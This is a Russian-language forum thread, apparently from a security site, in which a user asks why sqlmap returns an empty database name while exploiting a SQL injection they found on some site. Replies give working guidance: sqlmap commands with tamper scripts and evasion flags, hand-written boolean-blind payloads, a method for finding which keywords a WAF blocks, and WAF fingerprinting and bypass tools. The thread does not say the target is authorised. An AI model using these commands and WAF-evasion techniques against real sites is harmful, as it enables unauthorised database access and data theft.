• B правой части каждого сообщения есть стрелки и . Не стесняйтесь оценивать ответы. Чтобы автору вопроса закрыть свой тикет, надо выбрать лучший ответ. Просто нажмите значок в правой части сообщения.

SQLMap выдает название базы как ''

N

network-computer

Добрый день. Пытаюсь расковырять найденную уязвимость. Запускаю sqlmap, передаю нужный урл, тамперы, левелы и риски, как обычно, но почему, то в списке перечисленных баз данных у меня выдает базу данных как '' - тоесть две кавычки и больше ничего.
Исходная команда:
sqlmap -u "http://address?query=1" --dbms=MySQL --current-db --random-agent --thread=5 --level=5 --risk=3 --tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor

Вот результат sqlmap
Bash:
Parameter: query (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: query=1') AND 4586=4586#
---
[17:29:06] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[17:29:06] [INFO] testing MySQL
[17:29:07] [WARNING] currently only couple of keywords are being processed ('UNION', 'SELECT', 'INSERT', 'UPDATE', 'FROM', 'WHERE'). You can set it manually according to your needs
[17:29:07] [INFO] confirming MySQL
[17:29:07] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.6.30
back-end DBMS: MySQL >= 8.0.0 (MariaDB fork)
[17:29:07] [INFO] fetching current database
[17:29:07] [INFO] retrieving the length of query output
[17:29:07] [INFO] retrieved:

[17:29:07] [INFO] heuristics detected web page charset 'ascii'

[17:29:07] [INFO] resumed: \x7f
current database:    ''


Почему такой вывод?
 

Desoxyn

Green Team
30.11.2018
45
33
BIT
2
--no-cast
--hex
Еще попробуй установить --encoding принудительно в ASCII, и заинсталль себе на всякий случай
или просто pip install chardet в консоли.
И не нужно все тамперы добавлять, они торзмозят работу и создают ненужные запросы. Если ты не знаешь какой там WAF стоит (и стоит ли вообще), или какой тампер тебе подходит-лучше не используй вовсе. Такое кол-во тамперов, да еще и при блинде, может вывод ломать нереально кстати. Лучше ручками попробуй, на какие операторы реагирует WAF, и на основе этого подбирай\пиши свой тампер.
И попробуй вывести все базы кеем --dbs , а не только текущую.
 
Последнее редактирование:

ghostphisher

местный
07.12.2016
2 602
3 413
BIT
0
Вы столько тамперов поставили, мб есть некая заглючка по этому уровню. (с) Личный опыт. Была подобная ситуация, которая решилась сокращением списка тамперов до нескольких нужных. И все пошло.
 
  • Нравится
Реакции: darkandkiller
N

network-computer

Учел ваши советы, теперь команда вот такая:

sqlmap -u "http://site/?query=1') AND 4586=4586#" --hex --dbs --level=5 --risk=3 --threads=10 --encoding=ASCII

Но результат теперь такой:
Bash:
Parameter: query (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: query=1') AND 4586=4586#
---
[07:53:20] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.6.30
back-end DBMS: MySQL 8 (MariaDB fork)
[07:53:20] [INFO] fetching database names
[07:53:20] [INFO] fetching number of databases
[07:53:21] [INFO] retrieved:
[07:53:21] [ERROR] unable to retrieve the number of databases
[07:53:21] [INFO] falling back to current database
[07:53:21] [INFO] fetching current database
[07:53:21] [INFO] retrieving the length of query output
[07:53:21] [INFO] retrieved:
[07:53:22] [INFO] resumed: \x7f
available databases [1]:
[*]
 

Desoxyn

Green Team
30.11.2018
45
33
BIT
2
Он не может получить кол-во баз данных (ни одной), а не "выдает базу данных как". Он их не видит. Возможно WAF.
Вариантов, в принципе, может быть масса - но я догадываюсь, что это не ошибка кодировки\вывода.
Советую попробовать следующее:
Код:
sqlmap -u "http://site/?query=1 -p "query" --hex (или --no-cast) --dbs --level=5 --risk=3 --threads=10 -v 3
Кей -v 3 покажет тебе запрос (payload\полезную нагрузку) отправляемый к базе. Посмотри на каких выражениях\символах\операторах запрос прерывается.
Возможно какой то оператор\последовательность\синтаксис блокируется WAF.
Чтобы проверить переходи по своему линку в браузере
Код:
http://site/?query=1') AND (1=1)--+ |or| http://site/?query=1') AND 4586=4586# | etc
должно отобразить стандартную страницу, или отличающуюся от страницы ошибки
Код:
= AND (1=0)--+ |or| AND 4586=4984#
(смотреть в page source, если на глаз видимых признаков не обнаружено,может отличаться даже просто вес страницы или же status code)
Пробуй подставлять операторы на которых возможно блочится WAF'ом запрос
Код:
http://site/?query=1') AND (1=1)--+ from
http://site/?query=1') AND 4586=4586# where
и т.п. Их можешь взять из sqlmap, показанных по кею -v 3. Зависимостей много, не всегда отрабатывает, самый простой вариант проверить на фильтрацию, это попробовать вставить оператор\выражение\символ в комментарии.
Код:
http://site/?query=1/*сюда*/
Когда выдаст страницу ошибки, пустую страницу, т.е. false (такую как AND (1=0)) или же просто запрос не отработает нормально - значит ты нашел искомое. Пробуй подбирать tamper, обходов WAF море, можно экспериментировать.
Вообще, все найденные мапом скули надо в первую очередь проверять руками, тогда подобных вопросов возникать не будет, т.к. тут причин может быть миллион. Да и тебе скиллз добавит.
Не мапом единым ;)
 
Последнее редактирование:
A

anykenanyken

--no-cast
--hex
Еще попробуй установить --encoding принудительно в ASCII, и заинсталль себе на всякий случай
или просто pip install chardet в консоли.
И не нужно все тамперы добавлять, они торзмозят работу и создают ненужные запросы. Если ты не знаешь какой там WAF стоит (и стоит ли вообще), или какой тампер тебе подходит-лучше не используй вовсе. Такое кол-во тамперов, да еще и при блинде, может вывод ломать нереально кстати. Лучше ручками попробуй, на какие операторы реагирует WAF, и на основе этого подбирай\пиши свой тампер.
И попробуй вывести все базы кеем --dbs , а не только текущую.

Код:
WAFW00F identifies and fingerprints Web Application Firewall (WAF) products Ubuntu 16.04
apt-get update
apt-get install git
git clone EnableSecurity/wafw00f
cd wafw00f
apt-get install python-minimal
apt-get install build-essential libboost-all-dev libcurl4-openssl-dev libdb5.3-dev libdb5.3++-dev
apt install python-pip
pip install --upgrade pip
python setup.py install
wafw00f -l
 
Последнее редактирование модератором:
  • Нравится
Реакции: Desoxyn

Desoxyn

Green Team
30.11.2018
45
33
BIT
2
Да ну, все шустренько, выставляй throttle, timeout's, threaded средний, задавай пэйлоад\ы и оч шустро работает. Причем есть поддержка тор, носков, и encoding пэйлоадов можно производить налету, как и тамперы использовать в sqlmape ;)
У тебя долго, т.к. надо использовать кей --skip (Skip checking for bypasses and just identify the firewall) а то он по дефолту всю свою базу еще и пэйлоадов прогонит. --verbose покажет тебе что он чекает.
У меня мод сек и клауд файерволл обнаружил около 30 секунд, тампер сразу ушел в мап. Гибче и функциональнее пока не встретил, хотя перебрал их кучу.
 
  • Нравится
Реакции: anykenanyken
A

anykenanyken

Да ну, все шустренько, выставляй throttle, timeout's, threaded средний, задавай пэйлоад\ы и оч шустро работает. Причем есть поддержка тор, носков, и encoding пэйлоадов можно производить налету, как и тамперы использовать в sqlmape ;)
У тебя долго, т.к. надо использовать кей --skip (Skip checking for bypasses and just identify the firewall) а то он по дефолту всю свою базу еще и пэйлоадов прогонит. --verbose покажет тебе что он чекает.
У меня мод сек и клауд файерволл обнаружил около 30 секунд, тампер сразу ушел в мап. Гибче и функциональнее пока не встретил, хотя перебрал их кучу.

хм щас бум вкуривать походу. спасибо.
 
A

anykenanyken

еще нмап есть Киану Ривз его рекламил в фильме Матрица
Код:
firewall-bypass NSE Script
http-waf-fingerprint NSE Script
http-waf-detect NSE Script
 
Последнее редактирование модератором:

ghostphisher

местный
07.12.2016
2 602
3 413
BIT
0
Учел ваши советы, теперь команда вот такая:
sqlmap -u "http://site/?query=1') AND 4586=4586#" --hex --dbs --level=5 --risk=3 --threads=10 --encoding=ASCII
Код:
sqlmap  -u http://site/ --batch --crawl  --hex --dbs --level=5 --risk=3 --threads=10 --encoding=ASCII

и тут глянь Что не так с sqlmap? - Codeby.net - Информационная Безопасность
 
Последнее редактирование модератором:
  • Нравится
Реакции: network-computer
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!